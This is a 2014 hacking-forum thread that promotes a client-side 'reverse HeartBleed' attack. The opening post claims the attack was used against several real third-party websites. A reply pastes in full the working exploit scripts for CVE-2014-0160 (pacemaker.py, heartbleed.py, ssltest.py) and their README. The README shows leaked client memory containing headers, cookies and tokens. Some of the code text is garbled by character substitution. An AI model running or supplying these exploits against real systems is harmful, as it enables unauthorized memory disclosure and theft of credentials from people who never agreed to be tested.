mohaab007 Posted April 16, 2014 Share Posted April 16, 2014 EXCLUSIVE: How to exploit Reverse HeartBleed on Real Websites You will learn how to run and configure reverse HeartBleed server on your Kali linux and then configure your own router. This vulnerability is different than the normal HeartBleed attack (Server Side), this one is Client Side attack which means the target will come to us and give us their own and private data in memory :) I tested it on turbobit.net, dmcloud.net, postimage.org and dev-host.org share and enjoy :) http://youtu.be/6xBHAqmmsXI Quote Link to comment Share on other sites More sharing options...
GuardMoony Posted April 16, 2014 Share Posted April 16, 2014 Verry nice tutorial. Only the volume is on the low side. Quote Link to comment Share on other sites More sharing options...
Forgiven Posted April 17, 2014 Share Posted April 17, 2014 Since we all know the risks of stopping at a certain website to download code, be a good neighbor and put the python code into a thread so that we can check it out. :) Quote Link to comment Share on other sites More sharing options...
mw3demo Posted April 18, 2014 Share Posted April 18, 2014 I downloaded the zip and extracted for anyone curious. I would never use this though. Here are the contents: pacemaker.py #!/usr/bin/env python # Exploitation of CVE-2014-0160 Heartbeat for the client# Author: Peter Wu <peter@lekensteyn.nl># Licensed under the MIT license <http://opensource.org/licenses/MIT>.try: import socketserverexcept: import SocketServer as socketserverimport socketimport sysimport structimport select, timefrom argparse import ArgumentParserparser = ArgumentParser(description='Test clients for Heartbleed (CVE-2014-0160)')parser.add_argument('-6', '--ipv6', action='store_true', help='Enable IPv6 addresses (implied by IPv6 listen addr. such as : :)')parser.add_argument('-l', '--listen', default='', help='Host to listen on (default "%(default)s")')parser.add_argument('-p', '--port', type=int, default=4433, help='TCP port to listen on (default %(default)d)')# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPSparser.add_argument('-c', '--client', default='tls', choices=['tls', 'mysql', 'ftp', 'smtp', 'imap', 'pop3'], help='Target client type (default %(default)s)')parser.add_argument('-t', '--timeout', type=int, default=3, help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')parser.add_argument('--skip-server', default=False, action='store_true', help='Skip ServerHello, immediately write Heartbeat request')parser.add_argument('-x', '--count', type=int, default=1, help='Number of Hearbeats requests to be sent (default %(default)d)')def make_hello(sslver, cipher): # Record data = '16 ' + sslver data += ' 00 31' # Record ength # Handshake data += ' 02 00' data += ' 00 2d' # Handshake length data += ' ' + sslver data += ''' 52 34 c6 6d 86 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 3f d5 00 ''' data += ' '.join('{:02x}'.format© for c in cipher) data += ' 00' # No compression data += ' 00 05' # Extensions length # Heartbeat extension data += ' 00 0f' # Heartbeat type data += ' 00 01' # Length data += ' 01' # mode return bytearray.fromhex(data.replace('\n', ''))def make_heartbeat(sslver): data = '18 ' + sslver data += ' 00 03' # Length data += ' 01' # Type: Request # OpenSSL responds with records of length 0x4000. It starts with 3 bytes # (length, response type) and ends with a 16 byte padding. If the payload is # too small, OpenSSL buffers it and this will cause issues with repeated # heartbeat requests. Therefore request a payload that fits exactly in four # records (0x4000 * 4 - 3 - 16 = 0xffed). data += ' ff ed' # Payload Length return bytearray.fromhex(data.replace('\n', ''))def hexdump(data): allzeroes = b'\0' * 16 zerolines = 0 for i in range(0, len(data), 16): line = data[i:i+16] if line == allzeroes[:len(line)]: zerolines += 1 if zerolines == 2: print("*") if zerolines >= 2: continue print("{:04x}: {:47} {}".format(i, ' '.join('{:02x}'.format© for c in line), ''.join(chr© if c >= 32 and c < 127 else '.' for c in line)))class Failure(Exception): passclass RecordParser(object): record_s = struct.Struct('!BHH') def __init__(self): self.buffer = bytearray() self.buffer_len = 0 self.record_hdr = None def feed(self, data): self.buffer += data self.buffer_len += len(data) def get_header(self): if self.record_hdr is None and self.buffer_len >= self.record_s.size: self.record_hdr = self.record_s.unpack_from(bytes(self.buffer)) return self.record_hdr def bytes_needed(self): '''Zero or lower indicates that a fragment is available''' expected_len = self.record_s.size if self.get_header(): expected_len += self.record_hdr[2] return expected_len - self.buffer_len def get_record(self, partial=False): if not self.get_header(): return None record_type, sslver, fragment_len = self.record_hdr record_len = self.record_s.size + fragment_len if not partial and self.buffer_len < record_len: return None fragment = self.buffer[self.record_s.size:record_len] del self.buffer[:record_len] self.buffer_len -= record_len self.record_hdr = None return record_type, sslver, bytes(fragment)def read_record(sock, timeout, partial=False): rparser = RecordParser() end_time = time.time() + timeout error = None bytes_to_read = rparser.bytes_needed() while bytes_to_read > 0 and timeout > 0: rl, _, _ = select.select([sock], [], [], timeout) if not rl: error = socket.timeout('Timeout while waiting for bytes') break try: rparser.feed(rl[0].recv(bytes_to_read)) except socket.error as e: error = e break # Connection reset? bytes_to_read = rparser.bytes_needed() timeout = end_time - time.time() return rparser.get_record(partial=partial), errordef read_hb_response(sock, timeout): end_time = time.time() + timeout memory = bytearray() hb_len = 1 # Will be initialized after first heartbeat read_error = None alert = None while len(memory) < hb_len and timeout > 0: record, read_error = read_record(sock, timeout, partial=True) if not record: break record_type, _, fragment = record if record_type == 24: if not memory: # First Heartbeat # Check for enough room for type + len if len(fragment) < 3: if read_error: # Ignore error due to partial read break raise Failure('Response too small') # Sanity check, should not happen with OpenSSL if fragment[0:1] != b'\2': raise Failure('Expected Heartbeat in first response') hb_len, = struct.unpack_from('!H', fragment, 1) memory += fragment[2:] else: # Heartbeat continuation memory += fragment elif record_type == 21 and len(fragment) == 2: # Alert alert = fragment break else: # Cannot tell whether vulnerable or not! raise Failure('Unexpected record type {}'.format(record_type)) timeout = end_time - time.time() # Check for Alert (sent by NSS) if alert: lvl, desc = alert[0:1], ord(alert[1:2]) lvl = 'Warning' if lvl == 1 else 'Fatal' print('Got Alert, level={}, description={}'.format(lvl, desc)) if not memory: print('Not vulnerable! (Heartbeats disabled or not OpenSSL)') return None # Do not print error if we have memory, server could be crashed, etc. if read_error and not memory: print('Did not receive heartbeat response! ' + str(read_error)) return memoryclass RequestHandler(socketserver.BaseRequestHandler): def handle(self): self.args = self.server.args self.sslver = '03 01' # default to TLSv1.0 remote_addr, remote_port = self.request.getpeername()[:2] print("Connection from: {}:{}".format(remote_addr, remote_port)) try: # Set timeout to prevent hang on clients that send nothing self.request.settimeout(2) prep_meth = 'prepare_' + self.args.client if hasattr(self, prep_meth): getattr(self, prep_meth)(self.request) print('Pre-TLS stage completed, continuing with handshake') if not self.args.skip_server: self.do_serverhello() for i in range(0, self.args.count): try: if not self.do_evil(): break except socket.error as e: if i == 0: # First heartbeat? print('Unable to send first heartbeat! ' + str(e)) else: print('Unable to send more heartbeats, ' + str(e)) break except (Failure, socket.error, socket.timeout) as e: print('Unable to check for vulnerability: ' + str(e)) except KeyboardInterrupt: # Don't just abort this client, stop the server too print('Shutting down...') self.server.kill() print('') def do_serverhello(self): # Read TLS record header content_type, ver, rec_len = self.recv_s('>BHH', 'TLS record') # Session-ID length (1 byte) starts at offset 38 self.expect(rec_len >= 39, 'Illegal handshake packet') if content_type == 0x80: # SSLv2 (assume length < 256) raise Failure('SSL 2.0 clients cannot be tested') else: self.expect(content_type == 22, 'Expected Handshake type') # Read handshake hnd = self.request.recv(rec_len) self.expect(len(hnd) == rec_len, 'Unable to read handshake') hnd_type, len_high, len_low, ver = struct.unpack('>BBHH', hnd[:6]) self.expect(hnd_type == 1, 'Expected Client Hello') # hnd[6:6+32] is Random off = 6 + 32 sid_len, = struct.unpack('B', hnd[off:off+1]) off += 1 + sid_len # Skip length and SID # Enough room for ciphers? self.expect(rec_len - off >= 4, 'Illegal handshake packet (2)') ciphers_len = struct.unpack("<H", hnd[off:off+2]) off += 2 # The first cipher is fine... cipher = bytearray(hnd[off:off+2]) self.sslver = '{:02x} {:02x}'.format(ver >> 8, ver & 0xFF) # (1) Handshake: ServerHello self.request.sendall(make_hello(self.sslver, cipher)) # (skip Certificate, etc.) def do_evil(self): '''Returns True if memory *may* be acquired''' # (2) HeartbeatRequest self.request.sendall(make_heartbeat(self.sslver)) # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent memory = read_hb_response(self.request, self.args.timeout) # If memory is None, then it is not vulnerable for sure. Otherwise, if # empty, then it *may* be invulnerable if memory is not None and not memory: print("Possibly not vulnerable") return False elif memory: print('Client returned {0} ({0:#x}) bytes'.format(len(memory))) hexdump(memory) return True def expect(self, cond, what): if not cond: raise Failure(what) def prepare_mysql(self, sock): # This was taken from a MariaDB client. For reference, see # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake greeting = ''' 56 00 00 00 0a 35 2e 35 2e 33 36 2d 4d 61 72 69 61 44 42 2d 6c 6f 67 00 04 00 00 00 3d 3b 4e 57 4c 54 44 35 00 ff ff 21 02 00 0f e0 15 00 00 00 00 00 00 00 00 00 00 7c 36 33 3f 23 2e 5e 6d 2d 34 5c 54 00 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 ''' sock.sendall(bytearray.fromhex(greeting.replace('\n', ''))) print("Server Greeting sent.") len_low, len_high, seqid, caps = self.recv_s('<BHBH', 'MySQL handshake') packet_len = (len_high << 8) | len_low self.expect(packet_len == 32, 'Expected SSLRequest length == 32') self.expect((caps & 0x800), 'Missing Client SSL support') print("Skipping {} packet bytes...".format(packet_len)) # Skip remainder (minus 2 for caps) to prepare for SSL handshake sock.recv(packet_len - 2) def prepare_ftp(self, sock): sock.sendall('220 pacemaker test\r\n'.encode('ascii')) data = sock.recv(16).decode('ascii').strip() self.expect(data in ('AUTH SSL', 'AUTH TLS'), \ 'Unexpected response: ' + data) sock.sendall(bytearray('234 ' + data + '\r\n', 'ascii')) def prepare_pop3(self, sock): self.do_conversation('+OK pacemaker ready\r\n', [ ('CAPA', '+OK\r\nSTLS\r\n.\r\n'), ('STLS', '+OK\r\n') ]) def prepare_smtp(self, sock): self.do_conversation('220 pacemaker test\r\n', [ ('EHLO ', '250-example.com Hi!\r\n250 STARTTLS\r\n'), ('STARTTLS', '220 Go ahead\r\n') ]) def prepare_imap(self, sock): caps = 'CAPABILITY IMAP4rev1 STARTTLS' talk = [ ('CAPABILITY', '* ' + caps + '\r\n'), ('STARTTLS', '') ] sock.sendall(('* OK [' + caps + '] ready\r\n').encode('ascii')) for exp, resp in talk: data = sock.recv(256).decode('ascii').upper() self.expect(' ' in data, 'IMAP protocol violation, got ' + data) tag, data = data.split(' ', 2) self.expect(data[:len(exp)] == exp, \ 'Expected ' + exp + ', got ' + data) resp += tag + ' OK\r\n' sock.sendall(resp.encode('ascii')) def do_conversation(self, greeting, talk): '''Helper to handle simple request-response protocols.''' self.request.sendall(greeting.encode('ascii')) for exp, resp in talk: data = self.request.recv(256).decode('ascii').upper() self.expect(data[:len(exp)] == exp, \ 'Expected ' + exp + ', got ' + data) self.request.sendall(resp.encode('ascii')) def recv_s(self, struct_def, what): s = struct.Struct(struct_def) data = self.request.recv(s.size) msg = '{}: received only {}/{} bytes'.format(what, len(data), s.size) self.expect(len(data) == s.size, msg) return s.unpack(data)class PacemakerServer(socketserver.TCPServer): def __init__(self, args): server_address = (args.listen, args.port) self.allow_reuse_address = True if args.ipv6 or ':' in args.listen: self.address_family = socket.AF_INET6 socketserver.TCPServer.__init__(self, server_address, RequestHandler) self.args = args def serve_forever(self): self.stopped = False while not self.stopped: self.handle_request() def kill(self): self.stopped = Truedef serve(args): print('Listening on {}:{} for {} clients' .format(args.listen, args.port, args.client)) server = PacemakerServer(args) server.serve_forever()if __name__ == '__main__': args = parser.parse_args() try: serve(args) except KeyboardInterrupt: pass heartbleed.py #!/usr/bin/env python # Exploitation of CVE-2014-0160 Heartbeat for the server# Author: Peter Wu <peter@lekensteyn.nl># Licensed under the MIT license <http://opensource.org/licenses/MIT>.import socketimport sysimport structimport timefrom argparse import ArgumentParser# Hexdump etcfrom pacemaker import hexdump, make_heartbeat, read_record, read_hb_responsefrom pacemaker import Failureparser = ArgumentParser(description='Test servers for Heartbleed (CVE-2014-0160)')parser.add_argument('host', help='Hostname to connect to')parser.add_argument('-6', '--ipv6', action='store_true', help='Enable IPv6 addresses (implied by IPv6 listen addr. such as : :)')parser.add_argument('-p', '--port', type=int, default=None, help='TCP port to connect to (default depends on service)')# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPSparser.add_argument('-s', '--service', default='tls', choices=['tls', 'ftp', 'smtp', 'imap', 'pop3'], help='Target service type (default %(default)s)')parser.add_argument('-t', '--timeout', type=int, default=3, help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')parser.add_argument('-x', '--count', type=int, default=1, help='Number of Hearbeats requests to be sent (default %(default)d)')default_ports = { 'tls': 443, 'ftp': 21, 'smtp': 25, # tcp port 587 is used for submission 'imap': 143, 'pop3': 110,}def make_clienthello(sslver='03 01'): # openssl ciphers -V 'HIGH:!MD5:!PSK:!DSS:!ECDSA:!aNULL:!SRP' | # awk '{gsub("0x","");print tolower($1)}' | tr ',\n' ' ' ciphers = ''' c0 30 c0 28 c0 14 00 9f 00 6b 00 39 00 88 c0 32 c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35 00 84 c0 12 00 16 c0 0d c0 03 00 0a c0 2f c0 27 c0 13 00 9e 00 67 00 33 00 45 c0 31 c0 2d c0 29 c0 25 c0 0e c0 04 00 9c 00 3c 00 2f 00 41 ''' ciphers_len = len(bytearray.fromhex(ciphers.replace('\n', ''))) # Handshake type and length will be added later hs = sslver hs += 32 * ' 42' # Random hs += ' 00' # SID length hs += ' 00 {:02x}'.format(ciphers_len) + ciphers hs += ' 01 00 ' # Compression methods (1); NULL compression # Extensions length hs += ' 00 05' # Extensions length # Heartbeat extension hs += ' 00 0f' # Heartbeat type hs += ' 00 01' # Length hs += ' 01' # mode (peer allowed to send requests) hs_data = bytearray.fromhex(hs.replace('\n', '')) # ClientHello (1), length 00 xx xx hs_data = struct.pack('>BBH', 1, 0, len(hs_data)) + hs_data # Content Type: Handshake (22) record_data = bytearray.fromhex('16 ' + sslver) record_data += struct.pack('>H', len(hs_data)) record_data += hs_data return record_datadef skip_server_handshake(sock, timeout, sslver): end_time = time.time() + timeout hs_struct = struct.Struct('!BBH') for i in range(0, 5): record, error = read_record(sock, timeout) timeout = end_time - time.time() if not record: raise Failure('Unexpected server handshake! ' + str(error)) content_type, _, fragment = record if content_type != 22: raise Failure('Expected handshake type, got ' + str(content_type)) off = 0 # Records may consist of multiple handshake messages while off + hs_struct.size <= len(fragment): hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off) if off + len_low > len(fragment): raise Failure('Illegal handshake length!') off += hs_struct.size + len_low # Server handshake is complete after ServerHelloDone if hs_type == 14: return # Ready to check for vulnerability raise Failure('Too many handshake messages')def handle_ssl(sock, sslver='03 01'): # ClientHello sock.sendall(make_clienthello(sslver)) # Skip ServerHello, Certificate, ServerKeyExchange, ServerHelloDone skip_server_handshake(sock, args.timeout, sslver) # Are you alive? Heartbeat please! try: sock.sendall(make_heartbeat(sslver)) except socker.error as e: print('Unable to send heartbeat! ' + str(e)) return False try: memory = read_hb_response(sock, args.timeout) if memory is not None and not memory: print('Possibly not vulnerable') return False elif memory: print('Server returned {0} ({0:#x}) bytes'.format(len(memory))) hexdump(memory) except socket.error as e: print('Unable to read heartbeat response! ' + str(e)) return False # "Maybe" vulnerable return Truedef test_server(host, port, timeout, prepare_func=None, family=socket.AF_INET): try: try: sock = socket.socket(family=family) sock.settimeout(timeout) # For writes, reads are already guarded sock.connect((host, port)) except socket.error as e: print('Unable to connect to {}:{}: {}'.format(host, port, e)) return False if prepare_func is not None: prepare_func(sock) print('Pre-TLS stage completed, continuing with handshake') return handle_ssl(sock) except (Failure, socket.error) as e: print('Unable to check for vulnerability: ' + str(e)) return False finally: if sock: sock.close()class Linereader(object): def __init__(self, sock): self.buffer = bytearray() self.sock = sock def readline(self): if not b'\n' in self.buffer: self.buffer += self.sock.recv(4096) nlpos = self.buffer.index(b'\n') if nlpos >= 0: line = self.buffer[:nlpos+1] del self.buffer[:nlpos+1] return line.decode('ascii') return ''class Services(object): @classmethod def get_prepare(cls, service): name = 'prepare_' + service if hasattr(cls, name): return getattr(cls, name) return None @staticmethod def readline_expect(reader, expected, what=None): line = reader.readline() if not line.upper().startswith(expected.upper()): if what is None: what = expected raise Failure('Expected ' + expected + ', got ' + line) return line @classmethod def prepare_ftp(cls, sock): reader = Linereader(sock) tls = False cls.readline_expect(reader, '220 ', 'FTP greeting') sock.sendall(b'FEAT\r\n') cls.readline_expect(reader, '211-', 'FTP features') for i in range(0, 64): line = reader.readline().upper() if line.startswith(' AUTH TLS'): tls = True if line.startswith('211'): break if not tls: raise Failure('AUTH TLS not supported') sock.sendall(b'AUTH TLS\r\n') cls.readline_expect(reader, '234 ', 'AUTH TLS ack') @classmethod def prepare_smtp(cls, sock): reader = Linereader(sock) tls = False # Server greeting cls.readline_expect(reader, '220 ', 'SMTP banner') sock.sendall(b'EHLO pacemaker\r\n') # Assume no more than 16 extensions for i in range(0, 16): line = cls.readline_expect(reader, '250', 'extension') if line[4:].upper().startswith('STARTTLS'): tls = True if line[3] == ' ': break if not tls: raise Failure('STARTTLS not supported') sock.sendall(b'STARTTLS\r\n') cls.readline_expect(reader, '220 ', 'STARTTLS acknowledgement') @classmethod def prepare_imap(cls, sock): reader = Linereader(sock) # actually, the greeting contains PREAUTH or OK cls.readline_expect(reader, '* ', 'IMAP banner') sock.sendall(b'a001 STARTTLS\r\n') cls.readline_expect(reader, 'a001 OK', 'STARTTLS acknowledgement') @classmethod def prepare_pop3(cls, sock): reader = Linereader(sock) cls.readline_expect(reader, '+OK') sock.sendall(b'STLS\r\n') cls.readline_expect(reader, '+OK')def main(args): family = socket.AF_INET6 if args.ipv6 else socket.AF_INET prep_func = Services.get_prepare(args.service) # OpenSSL expects a client key exchange after its ServerHello. After the # first heartbeat, it will reset the connection. That's why we cannot just # repeatedly send heartbeats as the client does. For that, we need to # complete the handshake, but that requires a different implementation # approach. For now just keep re-connecting, it will flood server logs with # handshake failures though. for i in range(0, args.count): if not test_server(args.host, args.port, args.timeout, \ prepare_func=prep_func, family=family): breakif __name__ == '__main__': args = parser.parse_args() if args.port is None: args.port = default_ports[args.service] try: main(args) except KeyboardInterrupt: pass ssltest.py #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.import sysimport structimport socketimport timeimport selectimport refrom optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''16 03 02 00 dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15 00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 0000 0f 00 01 01 ''')hb = h2bin('''18 03 02 00 0301 40 00''')def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s] hxdat = ' '.join('%02X' % ord© for c in lin) pdat = ''.join((c if 32 <= ord© <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) printdef recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select(, [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdatadef recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, paydef hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return Falsedef main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s)if __name__ == '__main__': main() README.md # Pacemaker Attempts to abuse OpenSSL *clients* that are vulnerable to [Heartbleed][0]([CVE-2014-0160][1]). Compatible with Python 2 and 3.## Am I vulnerable?Run the server: python pacemaker.pyIn your client, open https://localhost:4433/ (replace the hostname if needed).For example: curl https://localhost:4433/The client will always fail to connect: curl: (35) Unknown SSL protocol error in connection to localhost:4433If you are not vulnerable, the server outputs something like: Connection from: 127.0.0.1:40736 Possibly not vulnerableIf you *are* vulnerable, you will see something like: Connection from: 127.0.0.1:40738 Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 ...@....-..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0.. 0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * 4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@....... 8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@.. ... e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0........... fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............Subsequent lines full of NUL bytes are folded into one with an `*` thereafter(like the `xxd` tool).An example where more "interesting" memory gets leaked using`wget -O /dev/null https://google.com https://localhost:4433`: Connection from: 127.0.0.1:41914 Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 ...@....-..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0.. 0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content 0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html 0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8. ... 0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https:// 0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com 0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos 0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H.... 0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK.. 0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f.. 0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0} 0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m. 0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8 0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I... 0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc... 0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN. 0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?......... 0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * 4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@....... ... ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6 ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502 fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........## How does it work?[TLS heartbeats][2] can be sent by either side of a TLS connection. After thehandshake completes, these heartbeats are encrypted. But apparently OpenSSLallows heartbeat messages before the handshake is completed. These heartbeats(on top of the record layer) are not encrypted at all!This makes it very easy to exploit the bug on clients: 1. Wait for a ClientHello containing a TLS version and cipher suite. 2. Send a ServerHello containing the same TLS version and cipher suite (to prevent handshake failure). 3. At this point, the server can send as many heartbeat requests as it likes.Note that there is *no* need for any certificates as the heartbeats are acceptedbefore any certificate or encryption keys are exchanged. As the length of theheartbeat requests are unchecked, [up to 64 kiB][3] memory can be read fromclient memory.pacemaker performs the above steps and assumes a client not to be vulnerable ifstep 3 results in data other than Alerts. If needed for some protocols (SMTPwith STARTTLS for example), additional data is exchanged before the TLShandshake starts.## Advanced usageRun `./pacemaker.py -h` for more options. The most important options areprobably `-t` (`--timeout`) and `-x` (`--count`). The default timeout is 3seconds which should be enough for most clients to respond (unless there is asatellite link or something).Example to be more patient per heartbeat (5 seconds) and acquire four heartbeatresponses: ./pacemaker.py -t 5 -x 4In theory, the heartbeats can take twenty seconds now, but in practice you willget responses much faster.## Tested clientsThe following clients have been tested against OpenSSL 1.0.1f on Arch Linux andleaked memory before the handshake: - MariaDB 5.5.36 - wget 1.15 (leaks memory of earlier connections and own state) - curl 7.36.0 (https, FTP/IMAP/POP3/SMTP with --ftp-ssl) - git 1.9.1 (tested clone / push, leaks not much) - nginx 1.4.7 (in proxy mode, leaks memory of previous requests) - links 2.8 (leaks contents of previous visits!) - KDE 4.12.4 (kioclient, Dolphin, tested https and ftps with kde4-ftps-kio) - Exim 4.82 (outgoing SMTP)links is a great example that demonstrates the effect of this bug on clients. Itis a text-based browser that leaks details including headers (cookies,authorization tokens) and page contents.## Licensepacemaker is licensed under the MIT license. See the LICENSE file for moredetails.# heartbleed.pyThis is an implementation that uses pacemaker for crafting packets.It has the caveat that repeated requests need to establish a new connection forevery attempt because the server immediately resets the connection after thefirst heartbeat response.The caveat is a limitation resulting from the taken approach, if the handshakewould be completed by the client too, then many encrypted handshakes can be sentwithout connection failures.heartbleed.py is part of pacemaker, so falls under the same license terms.## Tested serversThe following servers have been tested against OpenSSL 1.0.1f on Arch Linux(unless stated otherwise): - `openssl s_server` (HTTPS) - nginx 1.4.7 (HTTPS) - Dovecot 2.2.11 (IMAP / POP3) - proftpd 1.3.4a-5+deb7u1 (explicit FTP) - Exim 4.82 (SMTP)# ssltest.pyThis repository also contains a working version that targets servers. ssltest.pywas created by Jared Stafford (<jspenguin@jspenguin.org>), all due credits areto him! It was retrieved from http://s3.jspenguin.org/ssltest.py.At the moment, the script is only compatible with Python 2. [0]: http://heartbleed.com/ [1]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 [2]: https://tools.ietf.org/html/rfc6520#section-3 [3]: http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html License Copyright © 2014 Peter Wu <peter@lekensteyn.nl> Permission is hereby granted, free of charge, to any person obtaining a copyof this software and associated documentation files (the "Software"), to dealin the Software without restriction, including without limitation the rightsto use, copy, modify, merge, publish, distribute, sublicense, and/or sellcopies of the Software, and to permit persons to whom the Software isfurnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in allcopies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OFMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OROTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USEOR OTHER DEALINGS IN THE SOFTWARE. Quote Link to comment Share on other sites More sharing options...
